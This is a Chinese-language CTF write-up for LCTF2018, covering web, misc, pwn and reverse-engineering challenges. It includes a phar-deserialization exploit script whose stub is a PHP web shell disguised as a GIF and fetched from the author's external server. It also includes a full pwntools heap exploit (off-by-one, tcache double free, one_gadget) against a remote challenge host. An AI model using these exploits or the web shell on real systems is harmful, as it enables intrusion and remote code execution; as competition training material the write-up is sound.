前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >LCTF2018 WriteUp

LCTF2018 WriteUp

作者头像
ChaMd5安全团队
发布2018-12-17 12:10:20
7910
发布2018-12-17 12:10:20
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

招新小广告

ChaMd5 ctf组 长期招新

尤其是reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

Web

bestphp's revenge
T4lk 1s ch34p,sh0w m3 the sh31l

解题思路 初步分析:

  1. 进⼊http://212.64.7.171/LCTF.php
  2. 代码神似hitcon2017的Baby^H-master-php,区别点如下: a. 去年的有Admin类考了随机数,⽽本题没有,于是难度没那么⾼。 b. 去年的upload没有过滤。 c. 本题多了check()和move(),解题的关键点所在。 d. move()可以进⾏复制,源地址被过滤太多,⽽⽬的地址存在⽬录穿越漏洞,但很可惜 前⾯被拼接了字符串,以⾄于不能使⽤phar:// e. check()也是过滤很多,⽽且使⽤了getmagezie()函数,其实⽆所谓什么函数,能使⽤ phar协议来进⾏反序列化即可。
  3. 题⽬提示:The only way you can get the flag is to use grep to check all the folders in the /

突破⼝: check()函数过滤没其他的严格

代码语言:javascript
复制
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect) (.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){

这⾥⾯是使⽤了^字符,⽽本题其他函数的正则匹配皆没有这个,于是这可能是个突破 ⼝。 可使⽤compress.zlib://phar://代替phar://从⽽绕过过滤。 ⽽phar的反序列化最多是包含⽂件,于是可以本身写⻢,然后包含本身。

  1. 访问下⽹址,获取session值,解码后得到其哈希值
  2. 本机php7编写脚本如下
代码语言:javascript
复制
class K0rz3n_secret_flag {
  protected
$file_path="/var/www/data/17c21167f7a5e94737fc27b58e29e9e4/avatar.gif";
function __destruct(){
 if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
   die("Sorry Sorry Sorry");
   }
   include_once($this->file_path);
 }
}
$phar = new Phar('avatar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php eval($_POST[p]);?>'.'<?php __HALT_COMPILER();?>');
$object = new K0rz3n_secret_flag();
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
  1. 运⾏后得到avatar.gif,上传到⾃⼰的云主机上
  2. 上传
代码语言:javascript
复制
GET /LCTF.php?m=upload&url=http://103.229.127.139
  1. 命令执行

Misc

签到题

洛必达?不不不

LCTF{5d7b9adcbe1c629ec722529dd12e5129}

你会玩osu!么?
代码语言:javascript
复制
import Image
#"D:\Program Files\Wireshark\tshark.exe" -r usb.pcap -T fields -e usb.capdata > usb.txt
usbtxt = open('usb.txt', 'r').read()
usb = usbtxt.split('\n')
idx = 0
li1 = 0
li2 = 0
li3 = 0
mi1 = 0
mi2 = 0
width=1300
height=1000
bgcolor=(255,255,255)
im= Image.new('RGB',(width,height),bgcolor)
for u in usb:
  d = u.split(':')
  if 10 == len(d) and d[0] == '02':
    i0 = int(d[1], 16)
    i1 = (int(d[3], 16) << 8) | int(d[2], 16)
    i2 = (int(d[5], 16) << 8) | int(d[4], 16)
    i3 = (int(d[7], 16) << 8) | int(d[6], 16)
    i4 = (int(d[9], 16) << 8) | int(d[8], 16)
    if i1 > mi1:
      mi1 = i1
    if i2 > mi2:
      mi2 = i2
    li1 = i1
    li2 = i2
    pix=im.load()
    i=0
    i3%=256
    if idx > 3000:
      pix[i1//10,i2//10]=(0,0,0)#(i3,i3,i3)
      if idx % 100 == 0:
        im.save("out\\mapd.png"%idx)
    idx+=1
im.save("out\\mapd.png"%idx)
print idx,mi1,mi2

LCTF{OSU_1S_GUUUD}

PWN

easyheap

off by one:

代码语言:javascript
复制
if ( a2 )
{
  while ( 1 )
  {
    read(0, &a1[v3], 1uLL); 6 7
    if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
      break;
    ++v3;
  }
  a1[v3] = 0;
  a1[a2] = 0;
}

libc2.27->tcache 只能malloc(0xF8) 可以先填满对应的tcache bin获得unsorted bin 审错了他的read过程,看成了

代码语言:javascript
复制
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
  ++v3;
  break;

以为会连续⽣成两个"\x00",没法bypass,(fd和bk只有末位是"\x00"),卡了好久。晚上回来重新看发现看错了orz 剩下就是利⽤off by one覆盖prev in use,使两个堆块发⽣合并,然后便可以有两个索引指向同⼀个chunk。 ⽽后进⾏tcache的double free,使chunk分配到malloc hook,写⼊one_gadget,再malloc⼀次 即可getshell

代码语言:javascript
复制
from pwn import *
def new(size,note):
  p.recvuntil("?\n> ")
  p.sendline("1")
  p.recvuntil("size \n> ")
  p.sendline(str(size))
  p.recvuntil("content \n> ")
  if size==0:
    return
  else:
    p.send(note)
def delete(index):
  p.recvuntil("> ")
  p.sendline("2")
  p.recvuntil("index \n> ")
  p.sendline(str(index))
context.log_level='debug'
p=remote("118.25.150.134",6666)
for i in range(10):
  new(0,"kirin\n")
for i in range(5):
  delete(9-i)
delete(3)
delete(1)
delete(2)
delete(0)
delete(4)
for i in range(7):
  new(0,"kirin\n")
new(0,"kirin\n")
new(0xf8,"\x00")
new(0,"kirin\n")
for i in range(6):
  delete(i+1)
delete(9)
delete(0)
p.recvuntil("?\n> ")
p.sendline("3")
p.recvuntil("index \n> ")
p.sendline("8")
s=p.recv(6)
libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0
print hex(libc_addr)
for i in range(8):
  new(0,"kirin\n")
delete(8)
delete(9)
new(0x10,p64(libc_addr+0x3ebc30))
new(0x10,"kirin\n")
for i in range(8):
  delete(i)
for i in range(8):
  new(0x10,p64(libc_addr+0x10a38c))
delete(0)
p.recvuntil("> ")
p.sendline("1")
p.interactive()

RE

去签到吧朋友

在init中有对401E79的SMC和基于进程名检查的反调试;401D90函数也是对401E79的 SMC。 输⼊⻓度限制为36字节。 将输⼊分别以两种⽅式遍历(不管什么⽅式,与解题关系不⼤,⼤概与树有关);将两种遍历 结果分别进⾏加密或类似操作、结果与常量⽐较并校验部分输⼊遍历前后的序号。两种遍历的 结果可以通过加密算法和最终的校验数据得出,再加上序号的校验,分别得出原始输⼊前或后 部分,合在⼀起就能得到正确的原始输⼊。 对第⼀种遍历结果加密的加密算法是des,密钥为fa1conn,加密后结果⼜进⾏了算术运算。 可解⽅程得出加密串的前36字节,加上明⽂校验的后4字节,得到完整加密串的hex值: 77afddee5cabcba362635c5d93180bfbc9174647b91d768eb6e3f5c7ac643479088e45f 9733cf57c z3解⽅程的代码如下:

代码语言:javascript
复制
from z3 import *
def codesovle():
  v = []
  for i in range(36):
    v.append(BitVec('v%d'%i,32))
  cc = [23,65,24,78,43,56,59,67,21,43,45,76,23,54,76,12,65,43,89,40,32,67,73,57,23,45,31,54,31,52,13,24,54,65,34,24]
  res = [43666,49158,43029,51488,53397,51921,28676,39740,26785,41665,35675,40629,32311,31394,20373,41796,33452,35840,17195,29175,29485,28278,28833,28468,46181,58369,44855,56018,57225,60666,25981,26680,24526,38780,29172,30110]
  s = Solver()
  for i in range(6):
    for j in xrange(6):
     s.add(res[i+6*j] == v[6*j]*cc[i]+v[6*j+1]*cc[i+6]++v[6*j+2]*cc[i+12]+v[6*j+3]*cc[i+18]++v[6*j+ 4]*cc[i+24]++v[6*j+5]*cc[i+30])
  for i in range(36):
    s.add( ULE(v[i],0xff),UGE(v[i],0))
  if s.check() == sat:
    a = s.model()
    s = ''
    for i in range(36):
      s += chr(a[v[i]].as_long())
    print '[*]result:',
    print s.encode('hex')
    return
  print '[*]No result,end.'
if __name__ == '__main__':
  codesovle()

DES解密后得到:LC-+)=1234@AFETRS{the^VYXZfislrvxyz} 根据序号校验,前18字节输⼊在遍历后的序号为: 0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5 即得到前18字节输⼊:LCTF{this-RevlrSE= 第⼆种遍历结果的变换是异或,反解如下:

代码语言:javascript
复制
>>> c = [124,129,97,153,103,155,20,234,104,135,16,236,22,249,7,242,15,243,3,244,51,207,39,198,38,195,61,208,44,210,35,222,40,209,1,230]
>>> S = ''
>>> for i in range(36):
...   if i%2:
...     s+= chr(c[i]^0xaa)
...   else:
...     s += chr(c[i]^0xaa)
>>> s
')+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL' 

根据序号校验,后18字节输⼊在遍历后的序号为: 19,18,5,7,17,1,0,20,,29,28,27,15,16,4,3,2,32 得到后18字节的正确原始输⼊:^V1@Y+)fAxyzXZ234} flag为:LCTF{this-RevlrSE=^V1@Y+)fAxyzXZ234}

easy_vm

常规VM题,handler如下:

代码语言:javascript
复制
0x86: VM_push_imm(a1)
0x87: VM_push_reg(a1)
0x88: VM_mov_reg_with_addr(a1)
0x89: VM_mov_reg_with_reg_pointer(a1)
0x8A: VM_pop_reg(a1)
0x8B: VM_add_regs(a1)
0x8C: VM_sub_regs(a1)
0x8D: VM_mul_regs(a1)
0x8E: VM_div_regs(a1)
0x8F: VM_mod_regs(a1)
0x90: VM_xor_regs(a1)
0x91: VM_and_regs(a1)
0x92: VM_SET_FLAGS_with_reg(a1)
0x93: VM_inc_reg(a1)
0x94: VM_dec_reg(a1)
0x95: VM_mov_reg_with_imm(a1)
0x96: VM_mov_reg_with_reg_low(a1)
0x97: VM_mov_reg_with_ds(a1)
0x98: VM_SET_DS(a1)
0x99: VM_DS_INC(a1)
0x9A: VM_DS_ADD_4(a1) 22 23
0x9B: VM_CMP_REGS(a1)
0x9C: VM_JL(a1)
0x9D: VM_JG(a1)
0x9E: VM_JE(a1)
0x9F: VM_JNE(a1)
0xA0: VM_JMP(a1)
0xA1: VM_loop(a1)
0xA2: VM_nop(a1)
0xA3: return result;
default: VM_nop(a1)

VM上下⽂使⽤的数据结构如下:

代码语言:javascript
复制
00000000 VM_CFG   struc ; (sizeof=0x2048, mappedto_9)
00000000 _RAX     dq ?
00000008 _RBX     dq ?
00000010 _RDX     dq ?
00000018 _RCX     dq ?
00000020 _FLAGS   dq ?
00000028 _RIP     dq ?
00000030 _RDI     dq ?
00000038 _RBP     dq ?
00000040 _RSP     dq ?
00000048 mem      db 8192 dup(?)
00002048 VM_CFG   ends

对应的三段vm解析后为:

代码语言:javascript
复制
rax rbx rdx rcx flags
-------check length--------
  mov rcx,0x1c
l2:
  mov rbx,byte[rdi]
  cmp rbx,rax
  je l1
  dec rcx
  inc rdi
  loop l2
l1:
  cmp rcx,rdx
  jne l3
  mov rax,1
l3:
  ret
-------compute---------
  mov flags,rax
  jne l1
  ret
l1:
  mov rax,0x80
  mov rdx,0x3f
  mov rcx,0x7b
  mov flags,0x1c
l3:
  mov rbx,byte[rdi]
  mul rbx,rdx
  add rbx,rcx
  mod rbx,rax
  mov byte[rdi],rbx
  inc rdi
  dec flags
  push flags
  mov flags,flags
  jne l2
  ret
l2:
  pop flags
  loop l3
  ret
-------check--------
  mov flags,rax
  jne l1
  ret
l1:
  push 0x3e
  push 0x1a
  push 0x56
  push 0x0d
  push 0x52
  push 0x13
  push 0x58
  push 0x5a
  push 0x6e 
  push 0x5c
  push 0x0f
  push 0x5a
  push 0x46
  push 0x07
  push 0x09
  push 0x52
  push 0x25
  push 0x5c
  push 0x4c
  push 0x0a
  push 0x0a
  push 0x56
  puxh 0x33
  push 0x40
  push 0x15
  push 0x07
  push 0x58
  push 0x0f
  mov rax,0
  mov rcx,0x1c
l4:
  mov rbx,byte[rdi]
  pop rdx
  cmp rbx,rdx
  je l2
  ret
l2:
  inc rdi
  dec rcx
  mov flags,rcx
  jne l3
  mov rax,1
  ret
l3:
  loop l4
  ret

反解如下:

代码语言:javascript
复制
>>> table = string.printable
>>> l1 = []
>>> for i in table:
...   l1.append((ord(i)*0x3f+0x7b)%0x80)
...
>>> l1
[75, 10, 73, 8, 71, 6, 69, 4, 67, 2, 90, 25, 88, 23, 86, 21, 84, 19, 82, 17, 80, 15, 78, 13, 76, 11, 74, 9, 72, 7, 70, 5, 68, 3, 66, 1, 122, 57, 120, 55, 118, 53, 116, 51, 114, 49, 112, 47, 110, 45, 108, 43, 106, 41, 104, 39, 102, 37, 100, 35, 98, 33, 26, 89, 24, 87, 22, 85, 20, 83, 18, 81, 16, 79, 14, 77, 12, 65, 0, 63, 126, 61, 124, 59, 96, 31, 94, 29, 92, 27, 64, 127, 62, 125, 91, 50, 113, 46, 48, 111]
>>> t1 = [0x3e,0x1a,0x56,0x0d,0x52,0x13,0x58,0x5a,0x6e,0x5c,0x0f,0x5a,0x46,0x07,0x0 9,0x52,0x25,0x5c,0x4c,0x0a,0x0a,0x56,0x33,0x40,0x15,0x07,0x58,0x0f][::-1]
>>> t1
[15, 88, 7, 21, 64, 51, 86, 10, 10, 76, 92, 37, 82, 9, 7, 70, 90, 15, 92, 110, 90, 88, 19, 82, 13, 86, 26, 62]
>>> for i in t1:
...   print table[l1.index(i)],
... 
l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }
>>> 'l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }'.replace(' ','')
'lctf{He11o_Virtual_Machine!}'
想起「 Lunatic Game

这是⽤了 Glasgow Haskell Compiler么。。。业务逻辑全在sub_402427中。游戏的初始化, 胜负判断,⼤概看下,胜利就输出flag,且游戏过程对最后flag输出没有影响,直接动态,游 戏初始化后,跳到4023C8运⾏,直接输出flag。


本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • bestphp's revenge
      • T4lk 1s ch34p,sh0w m3 the sh31l
      • Misc
        • 签到题
          • 你会玩osu!么?
          • PWN
            • easyheap
            • RE
              • 去签到吧朋友
                • easy_vm
                  • 想起「 Lunatic Game
                  相关产品与服务
                  云服务器
                  云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档